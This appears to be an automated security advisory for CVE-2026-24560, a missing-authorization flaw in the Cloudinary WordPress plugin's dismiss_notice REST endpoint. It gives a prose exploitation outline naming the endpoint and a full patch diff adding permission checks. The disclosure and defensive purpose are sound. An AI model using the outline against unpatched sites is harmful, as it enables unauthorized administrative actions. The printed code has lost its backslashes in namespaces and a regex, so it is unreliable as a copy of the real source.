Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-24560: Cloudinary <= 3.3.0 – Missing Authorization (cloudinary-image-management-and-manipulation-in-the-cloud-cdn)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.3.0
Patched Version 3.3.1
Disclosed January 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-24560:
The Cloudinary plugin for WordPress versions up to and including 3.3.0 contains a missing authorization vulnerability. This flaw allows authenticated attackers with subscriber-level permissions or higher to perform unauthorized administrative actions. The vulnerability resides in the plugin’s REST API endpoint registration, specifically affecting the `dismiss_notice` endpoint handler.

Root Cause:
The vulnerability stems from a missing capability check on the `rest_dismiss_notice` callback function in the `Admin` class. In the vulnerable version, the `dismiss_notice` REST endpoint defined in `/php/class-admin.php` lines 108-113 lacked a `permission_callback` parameter. This omission allowed any authenticated user, regardless of their WordPress capabilities, to trigger the `rest_dismiss_notice` function. The endpoint registration accepted requests without verifying if the user possessed the `manage_settings` capability required for administrative actions.

Exploitation:
An attacker with subscriber-level access can send a POST request to the `/wp-json/cloudinary/v1/dismiss_notice` REST endpoint. The request requires a valid WordPress authentication cookie and a REST API nonce header (`X-WP-Nonce`). The attacker crafts a POST request with appropriate headers to bypass the missing authorization check. Successful exploitation triggers the `rest_dismiss_notice` function, which performs administrative actions intended only for users with `manage_settings` capability.

Patch Analysis:
The patch in version 3.3.1 adds a `permission_callback` function to the `dismiss_notice` endpoint registration in `/php/class-admin.php`. The callback `function () { return Utils::user_can( ‘manage_settings’ ); }` now validates that the requesting user possesses the `manage_settings` capability. This change ensures only administrators can access the endpoint. The patch also updates the plugin version number and modifies several other endpoints to use centralized validation methods, but the primary fix for this vulnerability is the addition of the capability check to the specific endpoint.

Impact:
Exploitation allows authenticated attackers with minimal privileges to perform unauthorized administrative actions. Attackers can dismiss administrative notices, potentially hiding security warnings or configuration alerts from legitimate administrators. This could facilitate further attacks by obscuring evidence of compromise or preventing administrators from seeing important plugin notifications. While the CVSS score of 4.3 indicates medium severity, the vulnerability represents a privilege escalation that violates the principle of least privilege.

Differential between vulnerable and patched code

Code Diff
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/cloudinary.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/cloudinary.php
@@ -3,7 +3,7 @@
  * Plugin Name: Cloudinary
  * Plugin URI: https://cloudinary.com/documentation/wordpress_integration
  * Description: With the Cloudinary plugin, you can upload and manage your media assets in the cloud, then deliver them to your users through a fast content delivery network, improving your website’s loading speed and overall user experience. Apply multiple transformations and take advantage of a full digital asset management solution without leaving WordPress.
- * Version: 3.3.0
+ * Version: 3.3.1
  * Author:  Cloudinary Ltd., XWP
  * Author URI: https://cloudinary.com/
  * License: GPLv2+
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/js/inline-loader.asset.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/js/inline-loader.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'e82dd225edea94edf605');
+<?php return array('dependencies' => array(), 'version' => '3a26d9a7f786a21ffdd9');
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/js/lazy-load.asset.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/js/lazy-load.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => 'f89102869f47abf4e354');
+<?php return array('dependencies' => array(), 'version' => '2b871bf412f8d66d43d2');
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-admin.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-admin.php
@@ -108,9 +108,12 @@
 	public function rest_endpoints( $endpoints ) {

 		$endpoints['dismiss_notice'] = array(
-			'method'   => WP_REST_Server::CREATABLE,
-			'callback' => array( $this, 'rest_dismiss_notice' ),
-			'args'     => array(),
+			'method'              => WP_REST_Server::CREATABLE,
+			'callback'            => array( $this, 'rest_dismiss_notice' ),
+			'args'                => array(),
+			'permission_callback' => function () {
+				return Utils::user_can( 'manage_settings' );
+			},
 		);

 		$endpoints['save_settings'] = array(
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-assets.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-assets.php
@@ -494,12 +494,16 @@
 				}
 			}
 		}
-
 		// Get the disabled items.
 		foreach ( $this->asset_parents as $url => $parent ) {
 			if ( isset( $this->active_parents[ $url ] ) ) {
 				continue;
 			}
+
+			if ( ! $this->is_post_cloudinary_asset( $parent->ID ) ) {
+				continue;
+			}
+
 			$this->purge_parent( $parent->ID );
 			// Remove parent.
 			wp_delete_post( $parent->ID );
@@ -507,6 +511,21 @@
 	}

 	/**
+	 * Check if a post is a Cloudinary asset.
+	 *
+	 * @param int $post_id The post ID to check.
+	 *
+	 * @return bool
+	 */
+	public function is_post_cloudinary_asset( $post_id ) {
+		if ( get_post_type( $post_id ) === self::POST_TYPE_SLUG ) {
+			return true;
+		}
+
+		return false;
+	}
+
+	/**
 	 * Activate a parent asset path.
 	 *
 	 * @param string $url The path to activate.
@@ -569,6 +588,10 @@
 	 * @param callable $callback  The callback function to execute on each post.
 	 */
 	private function process_parent_assets( $parent_id, $callback ) {
+		if ( ! $this->is_post_cloudinary_asset( $parent_id ) ) {
+			return;
+		}
+
 		$query_args     = array(
 			'post_type'              => self::POST_TYPE_SLUG,
 			'posts_per_page'         => 100,
@@ -626,6 +649,10 @@
 		$this->process_parent_assets(
 			$parent_id,
 			function ( $post_id ) {
+				if ( ! $this->is_post_cloudinary_asset( $post_id ) ) {
+					return;
+				}
+
 				wp_delete_post( $post_id );
 			}
 		);
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-cache.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-cache.php
@@ -352,9 +352,11 @@
 			'args'                => array(),
 		);
 		$endpoints['upload_cache']        = array(
-			'method'   => WP_REST_Server::CREATABLE,
-			'callback' => array( $this, 'rest_upload_cache' ),
-			'args'     => array(),
+			'method'              => WP_REST_Server::CREATABLE,
+			'callback'            => array( $this, 'rest_upload_cache' ),
+			'permission_callback' => array( 'CloudinaryREST_API', 'validate_request' ),
+			'args'                => array(),
+
 		);

 		return $endpoints;
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-connect.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-connect.php
@@ -132,9 +132,10 @@
 			'permission_callback' => array( 'CloudinaryREST_API', 'rest_can_connect' ),
 		);
 		$endpoints['test_rest_api']   = array(
-			'method'   => WP_REST_Server::READABLE,
-			'callback' => array( $this, 'rest_test_rest_api_connectivity' ),
-			'args'     => array(),
+			'method'              => WP_REST_Server::READABLE,
+			'callback'            => array( $this, 'rest_test_rest_api_connectivity' ),
+			'args'                => array(),
+			'permission_callback' => array( 'CloudinaryREST_API', 'allow_public_health_check' ),
 		);

 		return $endpoints;
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-cron.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-cron.php
@@ -187,12 +187,12 @@
 		$endpoints['cron_watch']   = array(
 			'method'              => WP_REST_Server::READABLE,
 			'callback'            => array( $this, 'daemon_watcher' ),
-			'permission_callback' => '__return_true',
+			'permission_callback' => array( 'CloudinaryREST_API', 'validate_request' ),
 		);
 		$endpoints['cron_process'] = array(
 			'method'              => WP_REST_Server::READABLE,
 			'callback'            => array( $this, 'run_queue' ),
-			'permission_callback' => '__return_true',
+			'permission_callback' => array( 'CloudinaryREST_API', 'validate_request' ),
 		);

 		return $endpoints;
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-media.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-media.php
@@ -2285,8 +2285,7 @@
 	 */
 	public function down_sync_asset() {
 		$nonce = Utils::get_sanitized_text( 'nonce', INPUT_POST );
-		if ( wp_verify_nonce( $nonce, 'wp_rest' ) ) {
-
+		if ( is_user_logged_in() && wp_verify_nonce( $nonce, 'wp_rest' ) && current_user_can( 'upload_files' ) ) {
 			$asset = $this->get_asset_payload();
 			// Set a base array for pulling an asset if needed.
 			$base_return = array(
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-plugin.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-plugin.php
@@ -14,6 +14,7 @@
 use CloudinaryDeliveryLazy_Load;
 use CloudinaryDeliveryResponsive_Breakpoints;
 use CloudinaryAssets as CLD_Assets;
+use CloudinaryIntegrationsElementor;
 use CloudinaryIntegrationsWPML;
 use CloudinaryMediaGallery;
 use CloudinarySyncStorage;
@@ -31,7 +32,7 @@
 	 *
 	 * @since   0.1
 	 *
-	 * @var     Admin|CLD_Assets|Connect|Dashboard|Deactivation|Delivery|Extensions|Gallery|Lazy_Load|Media|Meta_Box|Relate|Report|Responsive_Breakpoints|REST_API|State|Storage|SVG|Sync|URL[]|WPML|null
+	 * @var     Admin|CLD_Assets|Connect|Dashboard|Deactivation|Delivery|Extensions|Gallery|Lazy_Load|Media|Meta_Box|Relate|Report|Responsive_Breakpoints|REST_API|State|Storage|SVG|Sync|URL[]|WPML|Elementor|null
 	 */
 	public $components;
 	/**
@@ -136,6 +137,7 @@
 		$this->components['metabox']                = new Meta_Box( $this );
 		$this->components['url']                    = new URL( $this );
 		$this->components['wpml']                   = new WPML( $this );
+		$this->components['elementor']              = new Elementor( $this );
 		$this->components['special_offer']          = new Special_Offer( $this );
 	}

--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-rest-api.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/class-rest-api.php
@@ -12,6 +12,11 @@
  */
 class REST_API {

+	/**
+	 * Base path for the REST API endpoints.
+	 *
+	 * @var string
+	 */
 	const BASE = 'cloudinary/v1';

 	/**
@@ -22,6 +27,13 @@
 	public $endpoints;

 	/**
+	 * The nonce key used for WordPress REST API authentication.
+	 *
+	 * @var string
+	 */
+	const NONCE_KEY = 'wp_rest';
+
+	/**
 	 * REST_API constructor.
 	 *
 	 * @param Plugin $plugin Instance of the global Plugin.
@@ -39,13 +51,14 @@
 			'method'              => WP_REST_Server::READABLE,
 			'callback'            => __return_empty_array(),
 			'args'                => array(),
-			'permission_callback' => '__return_true',
+			'permission_callback' => array( __CLASS__, 'validate_request' ),
 		);

 		$this->endpoints = apply_filters( 'cloudinary_api_rest_endpoints', array() );

 		foreach ( $this->endpoints as $route => $endpoint ) {
 			$endpoint = wp_parse_args( $endpoint, $defaults );
+
 			register_rest_route(
 				static::BASE,
 				$route,
@@ -81,7 +94,7 @@

 		$url = Utils::rest_url( static::BASE . '/' . $endpoint );
 		// Setup a call for a background sync.
-		$params['nonce'] = wp_create_nonce( 'wp_rest' );
+		$params['nonce'] = wp_create_nonce( static::NONCE_KEY );
 		$args            = array(
 			'timeout'   => 0.1,
 			'blocking'  => false,
@@ -115,4 +128,27 @@
 		// Send request.
 		wp_remote_request( $url, $args );
 	}
+
+	/**
+	 * Validation for request.
+	 *
+	 * @param WP_REST_Request $request The original request.
+	 *
+	 * @return bool
+	 */
+	public static function validate_request( $request ) {
+		return wp_verify_nonce( $request->get_header( 'x_wp_nonce' ), self::NONCE_KEY );
+	}
+
+	/**
+	 * Permission callback for public health check endpoints.
+	 *
+	 * Intentionally allows unauthenticated access for REST API connectivity testing.
+	 * This endpoint is read-only and returns no sensitive data.
+	 *
+	 * @return bool Always returns true to allow public access.
+	 */
+	public static function allow_public_health_check() {
+		return true;
+	}
 }
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/integrations/class-elementor.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/integrations/class-elementor.php
@@ -0,0 +1,249 @@
+<?php
+/**
+ * Elementor integration class for the Cloudinary plugin.
+ *
+ * @package Cloudinary
+ */
+
+namespace CloudinaryIntegrations;
+
+use ElementorCoreFilesCSSPost;
+use ElementorElement_Base;
+use ElementorPlugin;
+
+/**
+ * Class Elementor
+ */
+class Elementor extends Integrations {
+
+	/**
+	 * List of Elementor background image settings keys.
+	 *
+	 * @var array
+	 */
+	const ELEMENTOR_BACKGROUND_IMAGES = array(
+		'background_image',
+		'background_hover_image',
+		'background_image_tablet',
+		'background_hover_image_tablet',
+		'background_image_mobile',
+		'background_hover_image_mobile',
+		'background_overlay_image',
+		'background_overlay_hover_image',
+		'background_overlay_image_tablet',
+		'background_overlay_hover_image_tablet',
+		'background_overlay_image_mobile',
+		'background_overlay_hover_image_mobile',
+	);
+
+	/**
+	 * Check if the integration can be enabled.
+	 *
+	 * @return bool
+	 */
+	public function can_enable() {
+		return class_exists( 'ElementorPlugin' );
+	}
+
+	/**
+	 * Register hooks for the integration.
+	 *
+	 * @return void
+	 */
+	public function register_hooks() {
+		add_action( 'elementor/element/parse_css', array( $this, 'replace_background_images_in_css' ), 10, 2 );
+		add_action( 'cloudinary_flush_cache', array( $this, 'clear_elementor_css_cache' ) );
+	}
+
+	/**
+	 * Replace all background images URLs with Cloudinary URLs, within the generated Elementor CSS file.
+	 *
+	 * @param Post         $post_css The post CSS object.
+	 * @param Element_Base $element  The Elementor element.
+	 * @return void
+	 */
+	public function replace_background_images_in_css( $post_css, $element ) {
+		if ( ! method_exists( $element, 'get_settings_for_display' ) ) {
+			return;
+		}
+
+		$settings = $element->get_settings_for_display();
+		$media    = $this->plugin->get_component( 'media' );
+		$delivery = $this->plugin->get_component( 'delivery' );
+
+		if ( ! $media || ! $delivery ) {
+			return;
+		}
+
+		foreach ( self::ELEMENTOR_BACKGROUND_IMAGES as $background_key ) {
+			$background   = null;
+			$is_container = false;
+
+			if ( isset( $settings[ $background_key ] ) ) {
+				// Elementor section/column elements store background settings without a leading underscore.
+				$background   = $settings[ $background_key ];
+				$is_container = true;
+			} elseif ( isset( $settings[ '_' . $background_key ] ) ) {
+				// Elementor basic elements (e.g. heading) store background settings with a leading underscore.
+				$background = $settings[ '_' . $background_key ];
+			}
+
+			// If this specific background setting is not set, we can skip it and check for the next setting.
+			if ( empty( $background ) || empty( $background['id'] ) ) {
+				continue;
+			}
+
+			$media_id   = $background['id'];
+			$media_size = isset( $background['size'] ) ? $background['size'] : array();
+
+			// Skip if the media is not deliverable via Cloudinary.
+			if ( ! $delivery->is_deliverable( $media_id ) ) {
+				continue;
+			}
+
+			// Generate the Cloudinary URL.
+			$cloudinary_url = $media->cloudinary_url( $media_id, $media_size );
+
+			// If URL generation failed, we should leave the original URL within the CSS.
+			if ( empty( $cloudinary_url ) ) {
+				continue;
+			}
+
+			$unique_selector = $this->find_unique_selector( $post_css, $element );
+			// If we can't find a unique selector via Elementor's internal API, we can't do any replacement.
+			if ( null === $unique_selector ) {
+				return;
+			}
+
+			// Build the CSS selector and rule for background image replacement.
+			$is_hover     = ( strpos( $background_key, 'hover' ) !== false );
+			$is_overlay   = ( strpos( $background_key, 'overlay' ) !== false );
+			$css_selector = $this->build_background_image_css_selector( $unique_selector, $is_container, $is_hover, $is_overlay );
+			$css_rule     = array( 'background-image' => "url('$cloudinary_url')" );
+
+			// Retrieve the specific media query rule for non-desktop devices based on the setting key.
+			$media_query = null;
+			if ( strpos( $background_key, 'tablet' ) !== false ) {
+				$media_query = array( 'max' => 'tablet' );
+			} elseif ( strpos( $background_key, 'mobile' ) !== false ) {
+				$media_query = array( 'max' => 'mobile' );
+			}
+
+			$success = $this->override_elementor_css_rule( $post_css, $css_selector, $css_rule, $media_query );
+			if ( ! $success ) {
+				// If we couldn't override the CSS rule, likely due to Elementor internal API changes, we should stop further processing.
+				return;
+			}
+		}
+	}
+
+	/**
+	 * Clear Elementor CSS cache.
+	 * This is called when Cloudinary cache is flushed, so that any change in media URLs is reflected in Elementor CSS files.
+	 *
+	 * @return void
+	 */
+	public function clear_elementor_css_cache() {
+		if ( class_exists( 'ElementorPlugin' ) ) {
+			$elementor = Plugin::instance();
+			$elementor->files_manager->clear_cache();
+		}
+	}
+
+	/**
+	 * Find the unique selector for an Elementor element.
+	 * Double-checks if the method exists before calling it, to ensure compatibility with different Elementor versions.
+	 *
+	 * @param Post         $post_css The post CSS object.
+	 * @param Element_Base $element  The Elementor element.
+	 *
+	 * @return string|null
+	 */
+	private function find_unique_selector( $post_css, $element ) {
+		if ( ! method_exists( $element, 'get_unique_selector' ) ) {
+			return null;
+		}
+
+		return $post_css->get_element_unique_selector( $element );
+	}
+
+	/**
+	 * Override the Elementor CSS rule for a specific selector.
+	 * Double-checks if the method exists before calling it, to ensure compatibility with different Elementor versions.
+	 *
+	 * @param Post       $post_css     The post CSS object.
+	 * @param string     $css_selector The CSS selector.
+	 * @param array      $css_rule     The CSS rule to apply.
+	 * @param array|null $media_query  The media query conditions. Null for default (desktop) styles.
+	 *
+	 * @return bool True if the rule could be overridden, false if the internal Elementor methods aren't available.
+	 */
+	private function override_elementor_css_rule( $post_css, $css_selector, $css_rule, $media_query ) {
+		if ( ! method_exists( $post_css, 'get_stylesheet' ) ) {
+			return false;
+		}
+
+		$stylesheet = $post_css->get_stylesheet();
+		if ( ! method_exists( $stylesheet, 'add_rules' ) ) {
+			return false;
+		}
+
+		$stylesheet->add_rules( $css_selector, $css_rule, $media_query );
+		return true;
+	}
+
+	/**
+	 * Build the full CSS selector for background image replacement.
+	 * We try to match the exact Elementor formatting and rules, so that our CSS overrides the previous rules,
+	 * instead of adding new rules within the CSS which may not apply for specific edge cases (e.g. specific child elements).
+	 *
+	 * @param string $unique_selector The unique selector for the element.
+	 * @param bool   $is_container    Whether the element is a container (section/column).
+	 * @param bool   $is_hover        Whether the background is for hover state.
+	 * @param bool   $is_overlay      Whether the background is for an overlay.
+	 *
+	 * @return string
+	 */
+	private function build_background_image_css_selector( $unique_selector, $is_container, $is_hover, $is_overlay ) {
+		if ( $is_overlay ) {
+			// Overlay backgrounds need to target multiple pseudo-elements and child elements.
+			$overlay_selector = sprintf(
+				'%1$s%2$s::before,
+				%1$s%2$s > .elementor-background-video-container::before,
+				%1$s%2$s > .e-con-inner > .elementor-background-video-container::before,
+				%1$s > .elementor-background-slideshow%2$s::before,
+				%1$s > .e-con-inner > .elementor-background-slideshow%2$s::before',
+				$unique_selector,
+				$is_hover ? ':hover' : ''
+			);
+
+			// For non-hover overlays, we need to also target motion effects layers.
+			if ( ! $is_hover ) {
+				$overlay_selector = sprintf(
+					'%1$s,
+					%2$s > .elementor-motion-effects-container > .elementor-motion-effects-layer::before',
+					$overlay_selector,
+					$unique_selector
+				);
+			}
+
+			// Replace any newline and extra spaces to match the exact Elementor formatting.
+			return preg_replace( '/s+/', ' ', $overlay_selector );
+		}
+		// For hover backgrounds, we simply append :hover to the unique selector.
+		if ( $is_hover ) {
+			return $unique_selector . ':hover';
+		}
+
+		// For non-container elements, we can return the unique selector as is.
+		if ( ! $is_container ) {
+			return $unique_selector;
+		}
+
+		// For container elements, we need to target both the element itself and its motion effects layers.
+		return sprintf(
+			'%1$s:not(.elementor-motion-effects-element-type-background), %1$s > .elementor-motion-effects-container > .elementor-motion-effects-layer',
+			$unique_selector
+		);
+	}
+}
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/sync/class-push-sync.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/sync/class-push-sync.php
@@ -124,14 +124,16 @@
 		);

 		$endpoints['queue'] = array(
-			'method'   => WP_REST_Server::CREATABLE,
-			'callback' => array( $this, 'process_queue' ),
-			'args'     => array(),
+			'method'              => WP_REST_Server::CREATABLE,
+			'callback'            => array( $this, 'process_queue' ),
+			'args'                => array(),
+			'permission_callback' => array( 'CloudinaryREST_API', 'validate_request' ),
 		);
 		$endpoints['stats'] = array(
-			'method'   => WP_REST_Server::READABLE,
-			'callback' => array( $this->queue, 'get_total_synced_media' ),
-			'args'     => array(),
+			'method'              => WP_REST_Server::READABLE,
+			'callback'            => array( $this->queue, 'get_total_synced_media' ),
+			'args'                => array(),
+			'permission_callback' => array( 'CloudinaryREST_API', 'validate_request' ),
 		);

 		return $endpoints;
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/ui/class-state.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/ui/class-state.php
@@ -98,22 +98,13 @@
 			'method'              => WP_REST_Server::CREATABLE,
 			'callback'            => array( $this, 'set_state' ),
 			'args'                => array(),
-			'permission_callback' => array( $this, 'validate_request' ),
+			'permission_callback' => array( 'CloudinaryREST_API', 'validate_request' ),
 		);

 		return $endpoints;
 	}

-	/**
-	 * Validation for request.
-	 *
-	 * @param WP_REST_Request $request The original request.
-	 *
-	 * @return bool
-	 */
-	public function validate_request( $request ) {
-		return wp_verify_nonce( $request->get_header( 'x_wp_nonce' ), 'wp_rest' );
-	}
+

 	/**
 	 * Set the UI state.
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/ui/component/class-crops.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/ui/component/class-crops.php
@@ -24,9 +24,9 @@
 	 * @var string
 	 */
 	protected $demo_files = array(
-		'leather_bag.jpg',
-		'lady.jpg',
-		'horses.jpg',
+		'docs/addons/objectdetection/dirt-road-1851258_1280.jpg',
+		'docs/model-993911_640.jpg',
+		'docs/shoppable_bag.png',
 	);

 	/**
@@ -96,7 +96,6 @@
 	 * @return array
 	 */
 	protected function input( $struct ) {
-
 		$mode                             = $this->setting->get_param( 'mode', 'demos' );
 		$wrapper                          = $this->get_part( 'div' );
 		$wrapper['attributes']['class'][] = 'cld-size-items';
@@ -112,89 +111,130 @@
 		}
 		$sizes = Utils::get_registered_sizes();

-		$selector                                = $this->make_selector();
-		$wrapper['children']['control-selector'] = $selector;
+		// Create size selector (tabs).
+		$size_selector                        = $this->make_size_selector( $sizes );
+		$wrapper['children']['size-selector'] = $size_selector;
+
+		// Get demo files.
+		$mode = $this->setting->get_param( 'mode', 'demos' );
+
+		/**
+		 * Filter the demo files.
+		 *
+		 * @hook   cloudinary_registered_sizes
+		 * @since  3.1.3
+		 *
+		 * @param $demo_files {array} array of demo files.
+		 *
+		 * @return {array}
+		 */
+		$examples = apply_filters( 'cloudinary_demo_crop_files', $this->demo_files );
+
+		if ( 'full' === $mode ) {
+			$public_id = $this->setting->get_root_setting()->get_param( 'preview_id' );
+			if ( ! empty( $public_id ) ) {
+				$examples = array( $public_id );
+			}
+		}
+
+		// Create content area for each size.
 		foreach ( $sizes as $size => $details ) {
 			if ( empty( $details['crop'] ) ) {
 				continue;
 			}
-			$row                          = $this->get_part( 'div' );
-			$row['attributes']['class'][] = 'cld-size-items-item';
-			$row['attributes']['class'][] = 'crop-preview';
-			$row['content']               = $size;
-
-			$image            = $this->get_part( 'img' );
-			$image['content'] = $size;
-			$size_array       = array();
+
+			$size_content                            = $this->get_part( 'div' );
+			$size_content['attributes']['class'][]   = 'cld-size-content';
+			$size_content['attributes']['data-size'] = $size;
+			$size_content['render']                  = true;
+
+			$size_array = array();
 			if ( ! empty( $details['width'] ) ) {
-				$size_array[]                 = 'w_' . $details['width'];
-				$image['attributes']['width'] = $details['width'];
+				$size_array[] = 'w_' . $details['width'];
 			}
 			if ( ! empty( $details['height'] ) ) {
-				$size_array[]                  = 'h_' . $details['height'];
-				$image['attributes']['height'] = $details['height'];
+				$size_array[] = 'h_' . $details['height'];
+			}
+			$size_dimensions = implode( ',', $size_array );
+
+			// Create image previews container.
+			$images_container                          = $this->get_part( 'div' );
+			$images_container['attributes']['class'][] = 'cld-size-images';
+			$images_container['render']                = true;
+
+			foreach ( $examples as $index => $file ) {
+				$image_wrapper                          = $this->get_part( 'div' );
+				$image_wrapper['attributes']['class'][] = 'cld-size-image-wrapper';
+				$image_wrapper['render']                = true;
+
+				$image                            = $this->get_part( 'img' );
+				$image['attributes']['data-size'] = $size_dimensions;
+				$image['attributes']['data-file'] = $file;
+				$image['render']                  = true;
+				if ( ! empty( $details['width'] ) ) {
+					$image['attributes']['width'] = $details['width'];
+				}
+				if ( ! empty( $details['height'] ) ) {
+					$image['attributes']['height'] = $details['height'];
+				}
+
+				$image_wrapper['children']['image']                = $image;
+				$images_container['children'][ 'image-' . $index ] = $image_wrapper;
 			}
-			$image['attributes']['data-size'] = implode( ',', $size_array );
-			$size_key                         = $details['width'] . 'x' . $details['height'];
+
+			// Create single input field with disable checkbox.
+			$size_key = $details['width'] . 'x' . $details['height'];
 			if ( empty( $value[ $size_key ] ) ) {
 				$value[ $size_key ] = '';
 			}
-			$row['children']['size']  = $image;
-			$row['children']['input'] = $this->make_input( $this->get_name() . '[' . $size_key . ']', $value[ $size_key ] );
+
+			$input_wrapper = $this->make_input( $this->get_name() . '[' . $size_key . ']', $value[ $size_key ] );
+
 			// Set the placeholder.
 			$placeholder = 'c_fill,g_auto';
-
 			if ( 'thumbnail' === $size ) {
 				$placeholder = 'c_thumb,g_auto';
 			}
-			$row['children']['input']['children']['input']['attributes']['placeholder'] = $placeholder;
+			$input_wrapper['children']['input']['attributes']['placeholder'] = $placeholder;

-			$wrapper['children'][ $size ] = $row;
+			$size_content['children']['input']  = $input_wrapper;
+			$size_content['children']['images'] = $images_container;

+			$wrapper['children'][ 'content-' . $size ] = $size_content;
 		}

 		return $wrapper;
 	}

 	/**
-	 * Make an image selector.
+	 * Make a size selector (tabs).
+	 *
+	 * @param array $sizes The registered sizes.
+	 * @return array
 	 */
-	protected function make_selector() {
+	protected function make_size_selector( $sizes ) {
 		$selector                          = $this->get_part( 'div' );
-		$selector['attributes']['class'][] = 'cld-image-selector';
-		$mode                              = $this->setting->get_param( 'mode', 'demos' );
+		$selector['attributes']['class'][] = 'cld-size-selector';
+		$selector['render']                = true;

-		/**
-		 * Filter the demo files.
-		 *
-		 * @hook   cloudinary_registered_sizes
-		 * @since  3.1.3
-		 *
-		 * @param $demo_files {array} array of demo files.
-		 *
-		 * @return {array}
-		 */
-		$examples = apply_filters( 'cloudinary_demo_crop_files', $this->demo_files );
-		if ( 'full' === $mode ) {
-			$public_id = $this->setting->get_root_setting()->get_param( 'preview_id' );
-			if ( ! empty( $public_id ) ) {
-				$examples = array(
-					$public_id,
-				);
+		$index = 0;
+		foreach ( $sizes as $size => $details ) {
+			if ( empty( $details['crop'] ) ) {
+				continue;
 			}
-		}
-		foreach ( $examples as $index => $file ) {
-			$name                             = pathinfo( $file, PATHINFO_FILENAME );
-			$item                             = $this->get_part( 'span' );
-			$item['attributes']['data-image'] = $file;
+
+			$item                            = $this->get_part( 'span' );
+			$item['attributes']['data-size'] = $size;
+			$item['attributes']['class'][]   = 'cld-size-selector-item';
+			$item['render']                  = true;
+
 			if ( 0 === $index ) {
 				$item['attributes']['data-selected'] = true;
-
 			}
-			$item['attributes']['class'][] = 'cld-image-selector-item';

-			$item['content']                           = $name;
-			$selector['children'][ 'image-' . $index ] = $item;
+			$item['content']                         = $size;
+			$selector['children'][ 'size-' . $size ] = $item;
+			++$index;
 		}

 		return $selector;
@@ -215,9 +255,11 @@
 			'crop-size-inputs',
 		);

-		$label                      = $this->get_part( 'label' );
-		$label['attributes']['for'] = $name;
-		$label['content']           = __( 'Disable', 'cloudinary' );
+		// Disable toggle control.
+		$control                          = $this->get_part( 'label' );
+		$control['attributes']['class'][] = 'cld-input-on-off-control';
+		$control['attributes']['class'][] = 'medium';
+		$control['attributes']['for']     = $name;

 		$check                          = $this->get_part( 'input' );
 		$check['attributes']['type']    = 'checkbox';
@@ -230,15 +272,34 @@
 			$check['attributes']['checked'] = 'checked';
 		}

+		$slider                          = $this->get_part( 'span' );
+		$slider['attributes']['class'][] = 'cld-input-on-off-control-slider';
+		$slider['render']                = true;
+
+		$control['children']['input']  = $check;
+		$control['children']['slider'] = $slider;
+
+		$label          = $this->get_part( 'span' );
+		$label['attributes']['class'] = 'cld-input-on-off-control-label';
+		$label['content']             = __( 'Disable', 'cloudinary' );
+
 		$input                          = $this->get_part( 'input' );
 		$input['attributes']['type']    = 'text';
 		$input['attributes']['name']    = $name;
 		$input['attributes']['value']   = '--' !== $value ? $value : '';
 		$input['attributes']['class'][] = 'regular-text';

-		$wrapper['children']['input'] = $input;
-		$wrapper['children']['label'] = $label;
-		$wrapper['children']['check'] = $check;
+		$clear_button                          = $this->get_part( 'button' );
+		$clear_button['attributes']['type']    = 'button';
+		$clear_button['attributes']['class'][] = 'button';
+		$clear_button['attributes']['class'][] = 'clear-crop-input';
+		$clear_button['attributes']['title']   = __( 'Reset input', 'cloudinary' );
+		$clear_button['content']               = Utils::get_inline_svg( 'css/images/undo.svg', false ) . '<span>' . __( 'Reset', 'cloudinary' ) . '</span>';
+
+		$wrapper['children']['input']   = $input;
+		$wrapper['children']['button']  = $clear_button;
+		$wrapper['children']['control'] = $control;
+		$wrapper['children']['label']   = $label;

 		return $wrapper;
 	}
--- a/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/ui/component/class-notice.php
+++ b/cloudinary-image-management-and-manipulation-in-the-cloud-cdn/php/ui/component/class-notice.php
@@ -117,7 +117,7 @@
 		if ( $this->setting->get_option_parent()->has_param( 'dismissible_notice' ) && ! $this->setting->get_option_parent()->has_param( 'notice_scripts' ) ) {
 			$args = array(
 				'url'   => Utils::rest_url( REST_API::BASE . '/dismiss_notice' ),
-				'nonce' => wp_create_nonce( 'wp_rest' ),
+				'nonce' => wp_create_nonce( REST_API::NONCE_KEY ),
 			);
 			wp_add_inline_script( 'cloudinary', 'var CLDIS = ' . wp_json_encode( $args ), 'before' );
 			$this->setting->get_option_parent()->set_param( 'notice_scripts', true ); // Prevent repeated rendering.
